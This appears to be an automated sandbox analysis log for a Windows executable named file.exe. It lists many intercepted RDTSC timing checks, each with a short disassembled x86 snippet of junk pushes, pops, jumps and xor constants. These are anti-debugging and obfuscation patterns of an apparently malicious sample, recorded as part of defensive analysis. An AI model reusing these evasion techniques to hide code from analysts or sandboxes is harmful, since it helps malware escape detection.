Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B0F second address: 4E70B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B13 second address: 4E70B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA6B11DE267h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B39 second address: 4E70B56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B56 second address: 4E70BB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, F212h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d mov bh, al 0x0000000f pushfd 0x00000010 jmp 00007FA6B11DE25Dh 0x00000015 xor si, DCE6h 0x0000001a jmp 00007FA6B11DE261h 0x0000001f popfd 0x00000020 popad 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007FA6B11DE25Dh 0x00000028 xchg eax, ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FA6B11DE268h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BB7 second address: 4E70BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BBB second address: 4E70BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BC1 second address: 4E70BF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FA6B14AD590h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA6B14AD58Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BF6 second address: 4E70C0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE261h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C0B second address: 4E70C40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c mov bl, ch 0x0000000e popad 0x0000000f call 00007FA6B14AD58Bh 0x00000014 mov ax, 207Fh 0x00000018 pop ecx 0x00000019 popad 0x0000001a push dword ptr [ebp+14h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C40 second address: 4E70C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C44 second address: 4E70C60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD598h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C60 second address: 4E70C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70CBA second address: 4E70CFA instructions: 0x00000000 rdtsc 0x00000002 mov esi, 2CC8F5E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop esi 0x0000000b jmp 00007FA6B14AD594h 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FA6B14AD58Dh 0x0000001a jmp 00007FA6B14AD58Bh 0x0000001f popfd 0x00000020 push ecx 0x00000021 pop ebx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70CFA second address: 4E70D2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE265h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b jmp 00007FA6B11DE25Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D2A second address: 4E70D2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D2E second address: 4E70D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80EA5 second address: 4E80EA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80EA9 second address: 4E80EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80EAF second address: 4E80EE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA6B14AD58Ch 0x00000009 and ax, EB68h 0x0000000e jmp 00007FA6B14AD58Bh 0x00000013 popfd 0x00000014 push eax 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f mov si, A3F3h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80EE0 second address: 4E80EF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA6B11DE25Fh 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80EF5 second address: 4E80F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA6B14AD590h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80F0F second address: 4E80F21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6B11DE25Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80F21 second address: 4E80F37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA6B14AD58Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C1F second address: 4E80C25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C25 second address: 4E80C2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C2B second address: 4E80C50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE268h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C50 second address: 4E80C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C54 second address: 4E80C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C5A second address: 4E80C60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C60 second address: 4E80C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C64 second address: 4E80C96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ax, dx 0x00000010 mov ax, bx 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FA6B14AD592h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C96 second address: 4E80CC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE25Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov cx, 83D1h 0x00000011 mov eax, 34488C0Dh 0x00000016 popad 0x00000017 mov ecx, 2AFEDC09h 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA6B11DE25Bh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00726 second address: 4F00755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dh 0x00000005 movzx esi, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FA6B14AD58Fh 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 call 00007FA6B14AD58Bh 0x0000001b pop esi 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0909 second address: 4EF0931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE261h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov esi, 7E7CD063h 0x00000011 movzx esi, dx 0x00000014 popad 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0931 second address: 4EF0935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0935 second address: 4EF0951 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE268h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902BC second address: 4E902C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902C2 second address: 4E902C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902C6 second address: 4E902CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902CA second address: 4E9030F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FA6B11DE269h 0x00000010 popad 0x00000011 movzx esi, di 0x00000014 popad 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 push ebx 0x00000018 mov al, 9Dh 0x0000001a pop edx 0x0000001b pushad 0x0000001c mov edx, eax 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FA6B11DE25Bh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9030F second address: 4E90315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90315 second address: 4E90319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90319 second address: 4E9031D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9031D second address: 4E90332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA6B11DE25Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0CCB second address: 4EF0CD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0CD1 second address: 4EF0D40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 324B9943h 0x00000008 jmp 00007FA6B11DE268h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FA6B11DE25Dh 0x0000001c jmp 00007FA6B11DE25Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FA6B11DE268h 0x00000028 or ecx, 3F5AA798h 0x0000002e jmp 00007FA6B11DE25Bh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0D40 second address: 4EF0D92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 36D126D3h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FA6B14AD598h 0x00000017 and ax, AC58h 0x0000001c jmp 00007FA6B14AD58Bh 0x00000021 popfd 0x00000022 push eax 0x00000023 pop ebx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0D92 second address: 4EF0D98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0D98 second address: 4EF0D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0D9C second address: 4EF0DC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 36D026D1h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA6B11DE266h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0DC3 second address: 4EF0DC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0DC9 second address: 4EF0DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA047E second address: 4EA0484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0484 second address: 4EA0488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0488 second address: 4EA048C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA048C second address: 4EA04D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FA6B11DE261h 0x00000012 and si, A0C6h 0x00000017 jmp 00007FA6B11DE261h 0x0000001c popfd 0x0000001d jmp 00007FA6B11DE260h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA04D2 second address: 4EA04D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA04D8 second address: 4EA04DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA04DC second address: 4EA04E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA04E0 second address: 4EA04F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA04F0 second address: 4EA04F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA04F4 second address: 4EA0511 instructions: 0x00000000 rdtsc 0x00000002 call 00007FA6B11DE25Bh 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov di, 75DCh 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0511 second address: 4EA0515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0515 second address: 4EA051B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA051B second address: 4EA0547 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA6B14AD595h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0547 second address: 4EA062B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA6B11DE267h 0x00000009 sub esi, 61E4B81Eh 0x0000000f jmp 00007FA6B11DE269h 0x00000014 popfd 0x00000015 call 00007FA6B11DE260h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e call 00007FA6B11DE259h 0x00000023 jmp 00007FA6B11DE261h 0x00000028 push eax 0x00000029 jmp 00007FA6B11DE261h 0x0000002e mov eax, dword ptr [esp+04h] 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FA6B11DE267h 0x00000039 add eax, 6600F83Eh 0x0000003f jmp 00007FA6B11DE269h 0x00000044 popfd 0x00000045 pushfd 0x00000046 jmp 00007FA6B11DE260h 0x0000004b adc eax, 373B6D38h 0x00000051 jmp 00007FA6B11DE25Bh 0x00000056 popfd 0x00000057 popad 0x00000058 mov eax, dword ptr [eax] 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA062B second address: 4EA063D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA063D second address: 4EA064F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6B11DE25Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA064F second address: 4EA0673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007FA6B14AD58Eh 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 mov ax, di 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0673 second address: 4EA06DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA6B11DE262h 0x00000009 add ecx, 2AE8EC58h 0x0000000f jmp 00007FA6B11DE25Bh 0x00000014 popfd 0x00000015 mov ecx, 77A2FD0Fh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d call 00007FA6B11DE259h 0x00000022 pushad 0x00000023 mov ch, 7Fh 0x00000025 pushfd 0x00000026 jmp 00007FA6B11DE25Dh 0x0000002b sub si, 77F6h 0x00000030 jmp 00007FA6B11DE261h 0x00000035 popfd 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA06DC second address: 4EA06E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA06E0 second address: 4EA06E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA06E6 second address: 4EA06EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA06EC second address: 4EA075D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE267h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push edi 0x00000011 mov ebx, eax 0x00000013 pop ecx 0x00000014 call 00007FA6B11DE267h 0x00000019 push esi 0x0000001a pop edx 0x0000001b pop eax 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FA6B11DE260h 0x00000026 xor ax, C508h 0x0000002b jmp 00007FA6B11DE25Bh 0x00000030 popfd 0x00000031 popad 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA075D second address: 4EA076E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA076E second address: 4EA0793 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE261h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA6B11DE25Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0793 second address: 4EA07A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA07A7 second address: 4EA07AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA07AB second address: 4EA07AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA07AF second address: 4EA07B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA07B5 second address: 4EA0824 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FA6B14AD590h 0x0000000f push eax 0x00000010 jmp 00007FA6B14AD58Bh 0x00000015 nop 0x00000016 pushad 0x00000017 push esi 0x00000018 push edi 0x00000019 pop ecx 0x0000001a pop edi 0x0000001b push eax 0x0000001c pushfd 0x0000001d jmp 00007FA6B14AD593h 0x00000022 sbb si, BACEh 0x00000027 jmp 00007FA6B14AD599h 0x0000002c popfd 0x0000002d pop eax 0x0000002e popad 0x0000002f sub esp, 1Ch 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 mov eax, ebx 0x00000037 rdtsc
